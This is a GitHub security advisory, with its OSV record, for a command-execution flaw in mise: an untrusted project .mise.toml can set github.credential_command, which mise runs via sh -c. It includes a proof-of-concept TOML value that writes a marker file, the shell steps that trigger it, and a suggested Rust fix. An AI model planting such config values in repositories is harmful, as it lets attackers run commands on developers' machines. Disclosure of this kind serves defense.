GHSA-29HF-RM4X-XXPH

Vulnerability from github – Published: 2026-06-23 18:24 – Updated: 2026-11-03 20:11
VLAI
Summary
Mise's local credential_command executes untrusted config
Details

Summary

mise loads github.credential_command from local project config before any trust decision, then executes that value with sh -c when resolving a GitHub token. An attacker who can place a .mise.toml in a repository can execute arbitrary shell commands when the victim runs a GitHub-related mise command and no higher-priority GitHub token environment variable is set.

The current command-execution path is github.credential_command. I confirmed in Docker that the setting is exploitable on v2026.3.15 and v2026.3.17, while v2026.3.14 rejects it as an unknown field. This report does not depend on the separate trust-bypass issue because the sink is reached directly from [settings.github].

Details

The vulnerable load order is:

  1. Settings::try_get() preloads settings from local config files.
  2. parse_settings_file() returns settings_file.settings without checking whether the local file is trusted.
  3. resolve_token() checks settings.github.credential_command after the token env vars and before file-based sources.
  4. get_credential_command_token() executes the value with sh -c.

The main command-execution path is:

let result = std::process::Command::new("sh")
    .arg("-c")
    .arg(cmd)
    .arg("mise-credential-helper")
    .arg(host)
    .output()

If a local project file sets:

[settings.github]
credential_command = "echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token"

then resolve_token() will reach get_credential_command_token() whenever higher-priority GitHub token environment variables are unset. credential_command is a documented custom credential source for mise, but it is also accepted from a local project .mise.toml, which lets an untrusted repository supply a shell command for mise to execute.

PoC

Test environment:

  • Docker
  • linux-arm64
  • mise v2026.3.17

Negative control:

export GITHUB_TOKEN=env_token
mise github token --unmask

Observed:

github.com: env_token (source: GITHUB_TOKEN)
/tmp/mise-proof.txt => missing

Primary exploit:

[settings.github]
credential_command = "echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token"

Run:

unset GITHUB_TOKEN GITHUB_API_TOKEN MISE_GITHUB_TOKEN MISE_GITHUB_ENTERPRISE_TOKEN
mise github token --unmask

Observed:

github.com: ghp_fake_token (source: credential_command)

And the side effect file is created:

/tmp/mise-proof.txt => credential_command_rce

Related version check:

  • v2026.3.14: credential_command is rejected as an unknown field
  • v2026.3.15: the same PoC executes and returns source: credential_command

Impact

An attacker who can place a .mise.toml in a repository can execute arbitrary shell commands as the victim user when the victim runs a mise command that resolves a GitHub token from local settings.

Demonstrated impact:

  • arbitrary command execution as the victim user
  • no trust prompt
  • no need for [env], [hooks], tasks, or templates

Important limitation:

  • if a higher-priority GitHub token environment variable is already set, the credential_command path is not reached

Suggested Fix

Do not honor github.credential_command from non-global project config files.

For example, inside parse_settings_file():

pub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> {
    let raw = file::read_to_string(path)?;
    let settings_file: SettingsFile = toml::from_str(&raw)?;
    let mut settings = settings_file.settings;

    if !config::is_global_config(path) {
        settings.github.credential_command = None;
    }

    Ok(settings)
}
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "mise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2026.3.15"
            },
            {
              "fixed": "2026.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55448"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-23T18:24:28Z",
    "nvd_published_at": "2026-06-26T18:17:01Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`mise` loads `github.credential_command` from local project config before any trust decision, then executes that value with `sh -c` when resolving a GitHub token. An attacker who can place a `.mise.toml` in a repository can execute arbitrary shell commands when the victim runs a GitHub-related mise command and no higher-priority GitHub token environment variable is set.\n\nThe current command-execution path is `github.credential_command`. I confirmed in Docker that the setting is exploitable on `v2026.3.15` and `v2026.3.17`, while `v2026.3.14` rejects it as an unknown field. This report does not depend on the separate trust-bypass issue because the sink is reached directly from `[settings.github]`.\n\n### Details\n\nThe vulnerable load order is:\n\n1. [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L254-L283) preloads settings from local config files.\n2. [`parse_settings_file()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L505-L510) returns `settings_file.settings` without checking whether the local file is trusted.\n3. [`resolve_token()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/github.rs#L344-L390) checks `settings.github.credential_command` after the token env vars and before file-based sources.\n4. [`get_credential_command_token()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/github.rs#L558-L599) executes the value with `sh -c`.\n\nThe main command-execution path is:\n\n```rust\nlet result = std::process::Command::new(\"sh\")\n    .arg(\"-c\")\n    .arg(cmd)\n    .arg(\"mise-credential-helper\")\n    .arg(host)\n    .output()\n```\n\nIf a local project file sets:\n\n```toml\n[settings.github]\ncredential_command = \"echo credential_command_rce \u003e /tmp/mise-proof.txt; echo ghp_fake_token\"\n```\n\nthen `resolve_token()` will reach `get_credential_command_token()` whenever higher-priority GitHub token environment variables are unset. `credential_command` is a documented custom credential source for mise, but it is also accepted from a local project `.mise.toml`, which lets an untrusted repository supply a shell command for mise to execute.\n\n### PoC\n\nTest environment:\n\n- Docker\n- `linux-arm64`\n- `mise v2026.3.17`\n\nNegative control:\n\n```bash\nexport GITHUB_TOKEN=env_token\nmise github token --unmask\n```\n\nObserved:\n\n```text\ngithub.com: env_token (source: GITHUB_TOKEN)\n/tmp/mise-proof.txt =\u003e missing\n```\n\nPrimary exploit:\n\n```toml\n[settings.github]\ncredential_command = \"echo credential_command_rce \u003e /tmp/mise-proof.txt; echo ghp_fake_token\"\n```\n\nRun:\n\n```bash\nunset GITHUB_TOKEN GITHUB_API_TOKEN MISE_GITHUB_TOKEN MISE_GITHUB_ENTERPRISE_TOKEN\nmise github token --unmask\n```\n\nObserved:\n\n```text\ngithub.com: ghp_fake_token (source: credential_command)\n```\n\nAnd the side effect file is created:\n\n```text\n/tmp/mise-proof.txt =\u003e credential_command_rce\n```\n\nRelated version check:\n\n- `v2026.3.14`: `credential_command` is rejected as an unknown field\n- `v2026.3.15`: the same PoC executes and returns `source: credential_command`\n\n### Impact\n\nAn attacker who can place a `.mise.toml` in a repository can execute arbitrary shell commands as the victim user when the victim runs a mise command that resolves a GitHub token from local settings.\n\nDemonstrated impact:\n\n- arbitrary command execution as the victim user\n- no trust prompt\n- no need for `[env]`, `[hooks]`, tasks, or templates\n\nImportant limitation:\n\n- if a higher-priority GitHub token environment variable is already set, the `credential_command` path is not reached\n\n### Suggested Fix\n\nDo not honor `github.credential_command` from non-global project config files.\n\nFor example, inside `parse_settings_file()`:\n\n```rust\npub fn parse_settings_file(path: \u0026Path) -\u003e Result\u003cSettingsPartial\u003e {\n    let raw = file::read_to_string(path)?;\n    let settings_file: SettingsFile = toml::from_str(\u0026raw)?;\n    let mut settings = settings_file.settings;\n\n    if !config::is_global_config(path) {\n        settings.github.credential_command = None;\n    }\n\n    Ok(settings)\n}\n```",
  "id": "GHSA-29hf-rm4x-xxph",
  "modified": "2026-11-03T20:11:29Z",
  "published": "2026-06-23T18:24:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jdx/mise/security/advisories/GHSA-29hf-rm4x-xxph"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55448"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jdx/mise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mise\u0027s local credential_command executes untrusted config"
}



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